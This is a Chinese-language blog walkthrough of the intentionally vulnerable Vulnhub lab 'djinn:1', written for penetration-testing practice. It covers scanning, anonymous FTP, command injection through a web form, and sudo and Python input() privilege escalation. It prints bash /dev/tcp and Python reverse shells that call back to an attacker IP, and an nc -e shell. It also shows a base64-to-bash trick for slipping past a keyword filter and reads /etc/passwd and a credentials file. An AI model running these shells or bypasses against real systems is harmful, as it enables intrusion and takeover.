banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

djinn:1-Vulnhub 逐步指南

靶機地址

靶機難度:中等
flag 數:2

工具及漏洞信息#

  • netdiscover
  • nmap
  • gobuster
  • ftp 匿名登錄下載文件
  • echo 的 bash 和 python 反彈 shell
  • nc 連接指定 ip 做題腳本
  • sudo -l 查看當前用戶權限
  • .pyc 文件反編譯
  • input () 函數漏洞
  • nc 傳輸文件

0x01 信息收集#

掃描靶機#

netdiscover-r參數掃描192.168.1.0/16或者路由器管理界面查看有線連接的設備得到靶機ip

nmap掃描主機及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.7

image

21ftp服務貌似可以匿名登錄,因為nmap直接給出了ftp連接上后的文件內容

那我們ftp連接一下,查看一下這三個文件的內容:

使用ftp ip命令連接ftp服務器,用戶名為匿名:anonymous,密碼直接回車即可登錄

image

使用mget *.*下載所有文件,會確認你是否要下載,直接回車就可以,也可以直接在ftp交互端cat查看:

image

得到的信息似乎是一個賬號和密碼,還有提示我們我們1337是一個遊戲

ssh的端口狀態為filtered就不折騰了

除此之外還有13377331兩個端口

1337端口的指紋信息寫著:

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift

猜測是CTF中常見的nc連接然後反彈數學題的操作,和我們上面得到的信息差不多

後面有時間的話會放一個腳本

7331掃描出的信息中包含http-server-headerhttp-title字段,猜測http服務開在這個端口

打開看一下,果然是:

image

掃描漏洞信息#

nmap掃描漏洞信息:

cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

image

沒有啥可以利用的

掃描路徑#

剛才掃描我們已經知道了web服務不在默認的80端口而是7331,所以掃描的時候也要記得改

gobuster 掃描路徑:

gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

dirbuster的字典可以通過下載dirbuster原包,然後把字典移入這個目錄:

wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/

image

掃描出兩個目錄/wish/genie,訪問ip:7331/wish如下:

image

隨便輸入東西之後發現跳轉到ip:7331/genie?name=後面接上執行的命令,猜測此處存在系統命令注入

0x02 網站身份 getshell#

既然能執行系統命令,那就直接nc反彈一個shell

msf中快速開啟監聽:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash

image

ip:7331/wish中輸入nc -t -e /bin/bash 192.168.1.11 3333

結果跳轉到genie?name=Wrong+choice+of+words,說明屏蔽了關鍵詞

配合burpsuite來探測屏蔽的關鍵詞

  • 測試 ls 得到網站根目錄的文件和目錄如下 (%0A 是回車的 URL 編碼)
  • app.py
  • app.pyc
  • static/
  • templates/

image

ls -lah也能正常運行,說明沒有屏蔽空格

whoami能正常的到結果www-data

uname -a知道了這是一台Ubuntu:

image

echo whoami可以執行,於是嘗試使用

bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
  • bash -i 表示產生一個 bash 的交互環境
  • 0>&1 將標準輸入域標準輸出內容相結合,然後重定向給前面的標準輸出內容

或者用python來反彈shell也可以:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

將上面的命令用base64加密然後在burp出輸入以下命令:

echo 加密的內容 | base64 -d | bash

注意,此處由於網頁上執行和burp執行有編碼的差異,建議如果在burp上執行的話再把空格和加號用URL編碼一下

測試後發現python能反彈shell

image

0x03 普通用戶 getshell#

拿到執行網站的用戶的shell之後第一步當然是查看當前目錄文件:

image

和我們前面用burp攔截得到的結果一樣,查看了/etc/passwd得到兩個用戶samnitish

但是他們用戶目錄下的文件沒有查看權限

於是回到網站根目錄來,查看一下app.py文件的內容:

image

大致內容是剛才攔截我們的函數代碼,除此之外還得到一個信息:

/home/nitish/.dev/creds.txt

查看這個文件:

image

得到了nitish賬戶的密碼p4ssw0rdStr3r0n9,登錄用戶之前記得要開啟標準的tty:

python -c 'import pty; pty.spawn("/bin/bash")'

image

nitish用戶目錄下獲取到第一個flag

0x04 提權 root#

查看一下當前用戶能執行哪些sudo的命令:

image

當前的nithsh賬戶可以在不使用密碼的情況下執行sam用戶的genie腳本

看一下genie的用法:

image

有個-p參數寫能給我們提供shell,嘗試一下:

sudo -u sam genie -p "/bin/sh"

image

-e-p參數都沒用,再用strings命令查看/usr/bin/genie的內容

最終知道了還有個參數-cmd,執行命令獲得samshell:

sudo -u sam /usr/bin/genie -cmd id

image

當前賬戶成功切換為sam,那麼再來看下sam能以sudo執行什麼命令:

image

sam可以執行lago腳本,來執行一下看一下:

第一個Be naughty:

image

沒啥亂用,第二個Guess the number:

image

百分之一的概率,似乎比1337端口好弄一點,而且pythoninput()的話是有漏洞的

第三個Read some damn files

image

可以讀文件,但是需要知道路徑,第四個Work:

image

也沒啥卵用,再試一下猜數字,不輸入數字,輸入其他的:

image

發現竟然在輸入num之後能查看/root目錄了,執行/root/proof.sh獲得rootflag

image

0x05 獲取shell原因解密#

我們這純属瞎貓碰死耗子,其實應該是找到python文件的編譯文件pyc

pyc是一種二進制文件,是由 Python 文件經過編譯後所生成的文件

然後反編譯出原來的.py文件,然後再找input漏洞的,常見的例子如下:

image

也就是沒有對輸入的字符進行檢測,直接按字符串處理,等於設定好的字符串即輸出結果

所以我們輸入num恰好成功說明Guess the number的函數代碼差不多是這麼寫的:

def guess_the_number():
    input_number = input("Choose a number between 1 to 100:\nEnter your number:")
    if num == input_number:
        return True

我這裡嘗試反編譯一下看是不是,查看sam的用戶目錄:

image

找到一個.pyc文件,嘗試把它反編譯成.py文件

先把它傳輸到攻擊機,這裡使用nc

靶機開啟監聽端口並傳輸文件:nc -lvp 3456 < .pyc

目標機連接靶機並接收文件:nc 192.168.1.6 3456 > .pyc

image

image

等待幾秒之後直接在靶機端ctrl+c結束即可

隨後我們用uncompyle6反編譯.pyc,它是uncompyle2的繼承者

uncompyle2只專注於python2.7,雖然有時候準確率比uncompyle6

但是大部分情況下還是uncompyle6準確率高,而且它已經幾乎不再維護了

uncompyle6支持幾乎你能見到的所有python版本,安裝如下:

proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install

就安裝完成了,反編譯我們的.pyc:

uncompyle6 .pyc -o exp.py

image

果然和我前面猜測的差不多

參考文章:

本文完。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。